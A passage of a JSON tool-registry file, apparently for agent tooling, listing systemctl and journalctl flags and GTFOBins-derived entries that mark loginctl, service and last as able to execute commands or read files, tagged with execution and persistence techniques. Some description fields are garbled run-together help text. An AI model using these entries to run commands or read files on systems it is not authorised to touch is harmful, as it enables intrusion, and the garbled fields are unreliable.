        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show logs from the matching invocation ID",
        "aliases": [
          "--invocation"
        ],
        "flag": "--invocation"
      },
      {
        "name": "lines",
        "template_key": "lines",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Number of journal entries to show",
        "aliases": [
          "-n",
          "--lines"
        ],
        "flag": "-n"
      },
      {
        "name": "list-boots",
        "template_key": "list-boots",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show terse information about recorded boots",
        "aliases": [
          "--list-boots"
        ],
        "flag": "--list-boots"
      },
      {
        "name": "list-invocations",
        "template_key": "list-invocations",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show invocation IDs of specified unit",
        "aliases": [
          "--list-invocations"
        ],
        "flag": "--list-invocations"
      },
      {
        "name": "list-namespaces",
        "template_key": "list-namespaces",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "Show list of journal namespaces",
        "aliases": [
          "--list-namespaces"
        ],
        "flag": "--list-namespaces"
      },
      {
        "name": "list_catalog",
        "type": "boolean",
        "required": false,
        "description": "Show all message IDs in the catalog",
        "aliases": [
          "--list-catalog"
        ],
        "flag": "--list-catalog"
      },
      {
        "name": "machine",
        "template_key": "machine",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Operate on local container",
        "aliases": [
          "-M",
          "--machine"
        ],
        "flag": "-M"
      },
      {
        "name": "merge",
        "template_key": "merge",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries from all available journals",
        "aliases": [
          "-m",
          "--merge"
        ],
        "flag": "-m"
      },
      {
        "name": "namespace",
        "template_key": "namespace",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show journal data from specified journal namespace",
        "aliases": [
          "--namespace"
        ],
        "flag": "--namespace"
      },
      {
        "name": "no-full",
        "template_key": "no-full",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Ellipsize fields",
        "aliases": [
          "--no-full"
        ],
        "flag": "--no-full"
      },
      {
        "name": "no-hostname",
        "template_key": "no-hostname",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suppress output of hostname field",
        "aliases": [
          "-W",
          "--no-hostname"
        ],
        "flag": "-W"
      },
      {
        "name": "no-pager",
        "template_key": "no-pager",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not pipe output into a pager",
        "aliases": [
          "--no-pager"
        ],
        "flag": "--no-pager"
      },
      {
        "name": "no-tail",
        "template_key": "no-tail",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show all lines, even in follow mode",
        "aliases": [
          "--no-tail"
        ],
        "flag": "--no-tail"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Change journal output mode (short, short-precise",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "output-fields",
        "template_key": "output-fields",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "Select fields to print in verbose/export/json modes",
        "aliases": [
          "--output-fields"
        ],
        "flag": "--output-fields"
      },
      {
        "name": "pager-end",
        "template_key": "pager-end",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Immediately jump to the end in the pager",
        "aliases": [
          "-e",
          "--pager-end"
        ],
        "flag": "-e"
      },
      {
        "name": "priority",
        "template_key": "priority",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Show entries within the specified priority range",
        "aliases": [
          "-p",
          "--priority"
        ],
        "flag": "-p"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not show info messages and privilege warning",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "relinquish-var",
        "template_key": "relinquish-var",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Stop logging to disk, log to temporary file system",
        "aliases": [
          "--relinquish-var"
        ],
        "flag": "--relinquish-var"
      },
      {
        "name": "reverse",
        "template_key": "reverse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show the newest entries first",
        "aliases": [
          "-r",
          "--reverse"
        ],
        "flag": "-r"
      },
      {
        "name": "root",
        "template_key": "root",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Operate on an alternate filesystem root",
        "aliases": [
          "--root"
        ],
        "flag": "--root"
      },
      {
        "name": "setup_keys",
        "type": "boolean",
        "required": false,
        "description": "Generate a new FSS key pair",
        "aliases": [
          "--setup-keys"
        ],
        "flag": "--setup-keys"
      },
      {
        "name": "show-cursor",
        "template_key": "show-cursor",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Print the cursor after all the entries",
        "aliases": [
          "--show-cursor"
        ],
        "flag": "--show-cursor"
      },
      {
        "name": "since",
        "template_key": "since",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries not older than the specified date",
        "aliases": [
          "-S",
          "--since"
        ],
        "flag": "-S"
      },
      {
        "name": "smart-relinquish-var",
        "template_key": "smart-relinquish-var",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--flush Flush all journal data from /run into /var --rotate Request immediate rotation of the journal files --header Show journal header information --list-catalog Show all message IDs in the catalog --dump-catalog Show entries in the message catalog --update-catalog Update the message catalog database --setup-keys Generate a new FSS key pair",
        "aliases": [
          "--smart-relinquish-var"
        ],
        "flag": "--smart-relinquish-var"
      },
      {
        "name": "sync",
        "template_key": "sync",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Synchronize unwritten journal messages to disk",
        "aliases": [
          "--sync"
        ],
        "flag": "--sync"
      },
      {
        "name": "synchronize-on-exit",
        "template_key": "synchronize-on-exit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Wait for Journal synchronization before exiting",
        "aliases": [
          "--synchronize-on-exit"
        ],
        "flag": "--synchronize-on-exit"
      },
      {
        "name": "system",
        "template_key": "system",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show the system journal",
        "aliases": [
          "--system"
        ],
        "flag": "--system"
      },
      {
        "name": "truncate-newline",
        "template_key": "truncate-newline",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Truncate entries by first newline character",
        "aliases": [
          "--truncate-newline"
        ],
        "flag": "--truncate-newline"
      },
      {
        "name": "unit",
        "template_key": "unit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show logs from the specified unit",
        "aliases": [
          "-u",
          "--unit"
        ],
        "flag": "-u"
      },
      {
        "name": "until",
        "template_key": "until",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show entries not newer than the specified date",
        "aliases": [
          "-U",
          "--until"
        ],
        "flag": "-U"
      },
      {
        "name": "update_catalog",
        "type": "boolean",
        "required": false,
        "description": "Update the message catalog database",
        "aliases": [
          "--update-catalog"
        ],
        "flag": "--update-catalog"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show the user journal for the current user",
        "aliases": [
          "--user"
        ],
        "flag": "--user"
      },
      {
        "name": "user-unit",
        "template_key": "user-unit",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show logs from the specified user unit",
        "aliases": [
          "--user-unit"
        ],
        "flag": "--user-unit"
      },
      {
        "name": "utc",
        "template_key": "utc",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Express time in Coordinated Universal Time (UTC)",
        "aliases": [
          "--utc"
        ],
        "flag": "--utc"
      },
      {
        "name": "vacuum-files",
        "template_key": "vacuum-files",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Leave only the specified number of journal files",
        "aliases": [
          "--vacuum-files"
        ],
        "flag": "--vacuum-files"
      },
      {
        "name": "vacuum-size",
        "template_key": "vacuum-size",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Reduce disk usage below specified size",
        "aliases": [
          "--vacuum-size"
        ],
        "flag": "--vacuum-size"
      },
      {
        "name": "vacuum-time",
        "template_key": "vacuum-time",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Remove journal files older than specified time",
        "aliases": [
          "--vacuum-time"
        ],
        "flag": "--vacuum-time"
      },
      {
        "name": "verify",
        "template_key": "verify",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Verify journal file consistency",
        "aliases": [
          "--verify"
        ],
        "flag": "--verify"
      },
      {
        "name": "verify-key",
        "template_key": "verify-key",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify FSS verification key",
        "aliases": [
          "--verify-key"
        ],
        "flag": "--verify-key"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show package version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-service-systemctl"
    ],
    "risk_level": "medium",
    "techniques": [
      "execution",
      "persistence"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "loginctl.md",
    "allowed-tools": [
      "loginctl",
      "systemctl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 4,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "systemd login manager control, can execute commands.",
    "examples": [
      {
        "description": "Execute command via loginctl",
        "command": "loginctl /path/to/command"
      }
    ],
    "execution": {
      "template": "loginctl /path/to/command",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-service-loginctl",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "loginctl",
    "namespace": "system:service:loginctl",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/loginctl/"
      }
    ],
    "related_tools": [
      "systemctl",
      "systemd-run"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 4,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "",
    "_source": "service.md",
    "allowed-tools": [
      "service",
      "systemctl",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "security.execution.command"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "Command execution output"
        }
      ],
      "side_effects": [
        "process_spawn"
      ],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Run System V init script, can execute commands.",
    "examples": [
      {
        "description": "Execute command via service",
        "command": "service /path/to/script start"
      }
    ],
    "execution": {
      "template": "service /path/to/script start",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "requires-root",
      "process-manip"
    ],
    "global_vars": {},
    "id": "system-service-service",
    "install": [
      {
        "method": "apt",
        "package_name": "sysvinit-utils",
        "commands": [
          "apt-get install -y sysvinit-utils"
        ]
      }
    ],
    "name": "service",
    "namespace": "system:service:service",
    "parameters": [],
    "platforms": [
      "linux"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/service/"
      }
    ],
    "related_tools": [
      "systemctl",
      "rc-service"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "medium",
    "techniques": [
      "execution"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "command-execution"
      ],
      "consumes": [
        "execution-context"
      ]
    }
  },
  {
    "_body": "\n\n# systemctl — Control the systemd system and service manager\n\n## Overview\n\n`systemctl` is a command-line utility for control the systemd system and service manager.\n\n## Usage\n\n```\nsystemctl -h {help} --version {version} --system {system} --user {user} -C {capsule}\n```\n",
    "_source": "systemctl.md",
    "architectures": [
      "amd64",
      "arm64"
    ],
    "author": "Repository Maintainers",
    "capabilities": [
      "system.service.systemctl"
    ],
    "description": "Control the systemd system and service manager",
    "examples": [
      {
        "description": "Basic usage with help",
        "command": "systemctl ${help}"
      },
      {
        "description": "Display help message",
        "command": "systemctl --help"
      },
      {
        "description": "Show only a given value from one of the `show` keys. In this example, the value for the `ActiveState` key for the UFW service will be shown, and only it; ideal for scripting. Using the `--value` flag causes only the value to be displayed.",
        "command": "systemctl show -p ActiveState --value ufw"
      },
      {
        "description": "Start, stop, or restart a given service(s).",
        "command": "systemctl [start|stop|restart] [SERVICE]"
      },
      {
        "description": "Check if a given service(s) is active. If it is, 'active' will display. An exit status of 0 will be given if it's active, and non-zero otherwise. Use the `-q` or `--quiet` flag to rely only on the exit status.",
        "command": "systemctl is-active ufw"
      },
      {
        "description": "Check if a given service(s) has failed. If it is, 'failed' will display. An exit status of 0 will be given if it has failed, and non-zero otherwise. Use the `-q` or `--quiet` flag to rely only on the exit status.",
        "command": "systemctl is-active ufw"
      },
      {
        "description": "Check if a given service(s) is enabled. If it is, 'enabled' will display. An exit status of 0 will be given if it's enabled, and non-zero otherwise. Use the `-q` or `--quiet` flag to rely only on the exit status.",
        "command": "systemctl is-enabled ufw"
      },
      {
        "description": "List all failed services.",
        "command": "systemctl --failed"
      },
      {
        "description": "Shut the system down. Use `suspend` to suspend, `halt` to halt, and `reboot` to instead of reboot the machine.",
        "command": "systemctl poweroff"
      },
      {
        "description": "Enable or disable a given service(s).",
        "command": "systemctl [enable|disable] [SERVICE]"
      },
      {
        "description": "Show the current status of a given service(s).",
        "command": "systemctl status [SERVICE]"
      }
    ],
    "execution": {
      "template": "systemctl -h {help} --version {version} --system {system} --user {user} -C {capsule}",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "local",
      "requires-root"
    ],
    "id": "system-service-systemctl",
    "install": [
      {
        "method": "apt",
        "package_name": "systemd",
        "commands": [
          "apt-get install -y systemd"
        ]
      }
    ],
    "name": "systemctl",
    "namespace": "system:service:systemctl",
    "parameters": [
      {
        "name": "after",
        "template_key": "after",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show units ordered after with 'list-dependencies'",
        "aliases": [
          "--after"
        ],
        "flag": "--after"
      },
      {
        "name": "all",
        "template_key": "all",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show all properties/all units currently in memory",
        "aliases": [
          "-a",
          "--all"
        ],
        "flag": "-a"
      },
      {
        "name": "before",
        "template_key": "before",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show units ordered before with 'list-dependencies'",
        "aliases": [
          "--before"
        ],
        "flag": "--before"
      },
      {
        "name": "boot-loader-menu",
        "template_key": "boot-loader-menu",
        "type": "number",
        "required": false,
        "default_value": null,
        "description": "Boot into boot loader menu on next boot --boot-loader-entry=NAME Boot into a specific boot loader entry on next boot --reboot-argument=ARG Specify argument string to pass to reboot() --plain Print unit dependencies as a list instead of a tree --timestamp=FORMAT Change format of printed timestamps (pretty, unix, us, utc, us+utc) --read-only Create read-only bind mount --mkdir Create directory before mounting, if missing --marked Restart/reload previously marked units --drop-in=NAME Edit unit files using the specified drop-in file name --when=TIME Schedule halt/power-off/reboot/kexec action after a certain timestamp --stdin Read new contents of edited file from stdin",
        "aliases": [
          "--boot-loader-menu"
        ],
        "flag": "--boot-loader-menu"
      },
      {
        "name": "boot_loader_entry",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--boot-loader-entry"
        ],
        "flag": "--boot-loader-entry"
      },
      {
        "name": "capsule",
        "template_key": "capsule",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to service manager of specified capsule",
        "aliases": [
          "-C",
          "--capsule"
        ],
        "flag": "-C"
      },
      {
        "name": "check_inhibitors",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--check-inhibitors"
        ],
        "flag": "--check-inhibitors"
      },
      {
        "name": "drop_in",
        "type": "boolean",
        "required": false,
        "description": "Edit unit files using the specified drop-in file name",
        "aliases": [
          "--drop-in"
        ],
        "flag": "--drop-in"
      },
      {
        "name": "dry_run",
        "type": "boolean",
        "required": false,
        "description": "Only print what would be done",
        "aliases": [
          "--dry-run"
        ],
        "flag": "--dry-run"
      },
      {
        "name": "failed",
        "template_key": "failed",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Shortcut for --state=failed",
        "aliases": [
          "--failed"
        ],
        "flag": "--failed"
      },
      {
        "name": "firmware-setup",
        "template_key": "firmware-setup",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Tell the firmware to show the setup menu on next boot",
        "aliases": [
          "--firmware-setup"
        ],
        "flag": "--firmware-setup"
      },
      {
        "name": "flag-P",
        "template_key": "flag-p",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Equivalent to --value --property=NAME",
        "aliases": [
          "-P"
        ],
        "flag": "-P"
      },
      {
        "name": "flag-i",
        "template_key": "flag-i",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Shortcut for --check-inhibitors=no",
        "aliases": [
          "-i"
        ],
        "flag": "-i"
      },
      {
        "name": "force",
        "template_key": "force",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "When enabling unit files, override existing symlinks",
        "aliases": [
          "-f",
          "--force"
        ],
        "flag": "-f"
      },
      {
        "name": "full",
        "template_key": "full",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't ellipsize unit names on output",
        "aliases": [
          "-l",
          "--full"
        ],
        "flag": "-l"
      },
      {
        "name": "global",
        "template_key": "global",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Edit/enable/disable/mask default user unit files",
        "aliases": [
          "--global"
        ],
        "flag": "--global"
      },
      {
        "name": "help",
        "template_key": "help",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show this help",
        "aliases": [
          "-h",
          "--help"
        ],
        "flag": "-h"
      },
      {
        "name": "host",
        "template_key": "host",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-H",
          "--host"
        ],
        "flag": "-H"
      },
      {
        "name": "image",
        "template_key": "image",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Edit/enable/disable/mask unit files in the specified",
        "aliases": [
          "--image"
        ],
        "flag": "--image"
      },
      {
        "name": "image-policy",
        "template_key": "image-policy",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify disk image dissection policy",
        "aliases": [
          "--image-policy"
        ],
        "flag": "--image-policy"
      },
      {
        "name": "job_mode",
        "type": "boolean",
        "required": false,
        "description": "Specify how to deal with already queued jobs, when",
        "aliases": [
          "--job-mode"
        ],
        "flag": "--job-mode"
      },
      {
        "name": "kill-subgroup",
        "template_key": "kill-subgroup",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Send signal to sub-control group only --what=RESOURCES Which types of resources to remove --now Start or stop unit after enabling or disabling it --dry-run Only print what would be done Currently supported by verbs: halt, poweroff, reboot, kexec, soft-reboot, suspend, hibernate, suspend-then-hibernate, hybrid-sleep, default, rescue, emergency, and exit",
        "aliases": [
          "--kill-subgroup"
        ],
        "flag": "--kill-subgroup"
      },
      {
        "name": "kill-value",
        "template_key": "kill-value",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Signal value to enqueue",
        "aliases": [
          "--kill-value"
        ],
        "flag": "--kill-value"
      },
      {
        "name": "kill-whom",
        "template_key": "kill-whom",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Whom to send signal to",
        "aliases": [
          "--kill-whom"
        ],
        "flag": "--kill-whom"
      },
      {
        "name": "legend",
        "template_key": "legend",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Enable/disable the legend (column headers and hints)",
        "aliases": [
          "--legend"
        ],
        "flag": "--legend"
      },
      {
        "name": "lines",
        "template_key": "lines",
        "type": "integer",
        "required": false,
        "default_value": null,
        "description": "Number of journal entries to show",
        "aliases": [
          "-n",
          "--lines"
        ],
        "flag": "-n"
      },
      {
        "name": "machine",
        "template_key": "machine",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "",
        "aliases": [
          "-M",
          "--machine"
        ],
        "flag": "-M"
      },
      {
        "name": "marked",
        "type": "boolean",
        "required": false,
        "description": "Restart/reload previously marked units",
        "aliases": [
          "--marked"
        ],
        "flag": "--marked"
      },
      {
        "name": "message",
        "template_key": "message",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Specify human-readable reason for system shutdown",
        "aliases": [
          "--message"
        ],
        "flag": "--message"
      },
      {
        "name": "mkdir",
        "type": "boolean",
        "required": false,
        "description": "Create directory before mounting, if missing",
        "aliases": [
          "--mkdir"
        ],
        "flag": "--mkdir"
      },
      {
        "name": "no-ask-password",
        "template_key": "no-ask-password",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not ask for system passwords",
        "aliases": [
          "--no-ask-password"
        ],
        "flag": "--no-ask-password"
      },
      {
        "name": "no-block",
        "template_key": "no-block",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not wait until operation finished",
        "aliases": [
          "--no-block"
        ],
        "flag": "--no-block"
      },
      {
        "name": "no-pager",
        "template_key": "no-pager",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Do not pipe output into a pager",
        "aliases": [
          "--no-pager"
        ],
        "flag": "--no-pager"
      },
      {
        "name": "no-reload",
        "template_key": "no-reload",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't reload daemon after en-/dis-abling unit files",
        "aliases": [
          "--no-reload"
        ],
        "flag": "--no-reload"
      },
      {
        "name": "no-wall",
        "template_key": "no-wall",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Don't send wall message before halt/power-off/reboot",
        "aliases": [
          "--no-wall"
        ],
        "flag": "--no-wall"
      },
      {
        "name": "no-warn",
        "template_key": "no-warn",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suppress several warnings shown by default",
        "aliases": [
          "--no-warn"
        ],
        "flag": "--no-warn"
      },
      {
        "name": "now",
        "type": "boolean",
        "required": false,
        "description": "Start or stop unit after enabling or disabling it",
        "aliases": [
          "--now"
        ],
        "flag": "--now"
      },
      {
        "name": "output",
        "template_key": "output",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Change journal output mode (short, short-precise",
        "aliases": [
          "-o",
          "--output"
        ],
        "flag": "-o"
      },
      {
        "name": "plain",
        "type": "boolean",
        "required": false,
        "description": "Print unit dependencies as a list instead of a tree",
        "aliases": [
          "--plain"
        ],
        "flag": "--plain"
      },
      {
        "name": "preset-mode",
        "template_key": "preset-mode",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Apply only enable, only disable, or all presets",
        "aliases": [
          "--preset-mode"
        ],
        "flag": "--preset-mode"
      },
      {
        "name": "property",
        "template_key": "property",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show only properties by this name",
        "aliases": [
          "-p",
          "--property"
        ],
        "flag": "-p"
      },
      {
        "name": "quiet",
        "template_key": "quiet",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Suppress output",
        "aliases": [
          "-q",
          "--quiet"
        ],
        "flag": "-q"
      },
      {
        "name": "read_only",
        "type": "boolean",
        "required": false,
        "description": "Create read-only bind mount",
        "aliases": [
          "--read-only"
        ],
        "flag": "--read-only"
      },
      {
        "name": "reboot_argument",
        "type": "boolean",
        "required": false,
        "description": "",
        "aliases": [
          "--reboot-argument"
        ],
        "flag": "--reboot-argument"
      },
      {
        "name": "recursive",
        "template_key": "recursive",
        "type": "array",
        "required": false,
        "default_value": null,
        "description": "Show unit list of host and local containers",
        "aliases": [
          "-r",
          "--recursive"
        ],
        "flag": "-r"
      },
      {
        "name": "reverse",
        "template_key": "reverse",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show reverse dependencies with 'list-dependencies'",
        "aliases": [
          "--reverse"
        ],
        "flag": "--reverse"
      },
      {
        "name": "root",
        "template_key": "root",
        "type": "file",
        "required": false,
        "default_value": null,
        "description": "Edit/enable/disable/mask unit files in the specified",
        "aliases": [
          "--root"
        ],
        "flag": "--root"
      },
      {
        "name": "runtime",
        "template_key": "runtime",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Edit/enable/disable/mask unit files temporarily until",
        "aliases": [
          "--runtime"
        ],
        "flag": "--runtime"
      },
      {
        "name": "show-transaction",
        "template_key": "show-transaction",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "--show-types When showing sockets, explicitly show their type --value When showing properties, only print the value --check-inhibitors=MODE Whether to check inhibitors before shutting down, sleeping, or hibernating",
        "aliases": [
          "-T",
          "--show-transaction"
        ],
        "flag": "-T"
      },
      {
        "name": "show_types",
        "type": "boolean",
        "required": false,
        "description": "When showing sockets, explicitly show their type",
        "aliases": [
          "--show-types"
        ],
        "flag": "--show-types"
      },
      {
        "name": "signal",
        "template_key": "signal",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Which signal to send",
        "aliases": [
          "-s",
          "--signal"
        ],
        "flag": "-s"
      },
      {
        "name": "state",
        "template_key": "state",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List units with particular LOAD or SUB or ACTIVE state",
        "aliases": [
          "--state"
        ],
        "flag": "--state"
      },
      {
        "name": "stdin",
        "type": "boolean",
        "required": false,
        "description": "Read new contents of edited file from stdin",
        "aliases": [
          "--stdin"
        ],
        "flag": "--stdin"
      },
      {
        "name": "system",
        "template_key": "system",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to system manager",
        "aliases": [
          "--system"
        ],
        "flag": "--system"
      },
      {
        "name": "type",
        "template_key": "type",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "List units of a particular type",
        "aliases": [
          "-t",
          "--type"
        ],
        "flag": "-t"
      },
      {
        "name": "user",
        "template_key": "user",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Connect to user service manager",
        "aliases": [
          "--user"
        ],
        "flag": "--user"
      },
      {
        "name": "value",
        "type": "boolean",
        "required": false,
        "description": "When showing properties, only print the value",
        "aliases": [
          "--value"
        ],
        "flag": "--value"
      },
      {
        "name": "verbose",
        "template_key": "verbose",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show unit logs while executing operation",
        "aliases": [
          "-v",
          "--verbose"
        ],
        "flag": "-v"
      },
      {
        "name": "version",
        "template_key": "version",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "Show package version",
        "aliases": [
          "--version"
        ],
        "flag": "--version"
      },
      {
        "name": "wait",
        "template_key": "wait",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "For (re)start, wait until service stopped again",
        "aliases": [
          "--wait"
        ],
        "flag": "--wait"
      },
      {
        "name": "what",
        "type": "boolean",
        "required": false,
        "description": "Which types of resources to remove",
        "aliases": [
          "--what"
        ],
        "flag": "--what"
      },
      {
        "name": "when",
        "type": "boolean",
        "required": false,
        "description": "/reboot/kexec action after",
        "aliases": [
          "--when",
          "-off"
        ],
        "flag": "-off"
      },
      {
        "name": "with-dependencies S",
        "template_key": "with-dependencies-s",
        "type": "string",
        "required": false,
        "default_value": null,
        "description": "'list-units', and 'list-unit-files'. --job-mode=MODE Specify how to deal with already queued jobs, when queueing a new job",
        "aliases": [
          "--with-dependencies S"
        ],
        "flag": "--with-dependencies"
      }
    ],
    "platforms": [
      "linux"
    ],
    "related_tools": [
      "system-service-journalctl"
    ],
    "risk_level": "medium",
    "techniques": [
      "execution",
      "persistence"
    ],
    "trust_level": "verified",
    "version": "1.0.0"
  },
  {
    "_body": "",
    "_source": "last.md",
    "allowed-tools": [
      "last",
      "Bash",
      "execFile"
    ],
    "architectures": [
      "amd64",
      "arm64"
    ],
    "artifacts": [],
    "author": "GTFOBins",
    "capabilities": [
      "system.file.read"
    ],
    "contract": {
      "inputs": [],
      "outputs": [
        {
          "type": "process.output",
          "description": "File content output"
        }
      ],
      "side_effects": [],
      "resource_cost": {
        "cpu": "low",
        "memory_mb": 2,
        "network": "none",
        "disk_io": "low"
      }
    },
    "dependencies": [],
    "description": "Show last logged in users, can read files.",
    "examples": [
      {
        "description": "Read a file via last",
        "command": "last -f /path/to/file"
      }
    ],
    "execution": {
      "template": "last -f /path/to/file",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "execution_policy": "enabled",
    "features": [
      "file-system"
    ],
    "global_vars": {},
    "id": "system-session-last",
    "install": [
      {
        "method": "apt",
        "package_name": "sysvinit-utils",
        "commands": [
          "apt-get install -y sysvinit-utils"
        ]
      }
    ],
    "name": "last",
    "namespace": "system:session:last",
    "parameters": [],
    "platforms": [
      "linux",
      "bsd"
    ],
    "references": [
      {
        "label": "GTFOBins",
        "url": "https://gtfobins.github.io/gtfobins/last/"
      }
    ],
    "related_tools": [
      "lastb"
    ],
    "resource_profile": {
      "cpu": "low",
      "memory_mb": 2,
      "network": "none",
      "disk_io": "low"
    },
    "risk_level": "low",
    "techniques": [
      "collection"
    ],
    "trust_level": "community",
    "version": "1.0.0",
    "workflow_edges": {
      "produces": [
        "file-content"
      ],
      "consumes": [
        "file"
      ]
    }
  },
  {
    "_body": "",
    "_source": "lastb.md",
    "allowed-tools": [
      "lastb",
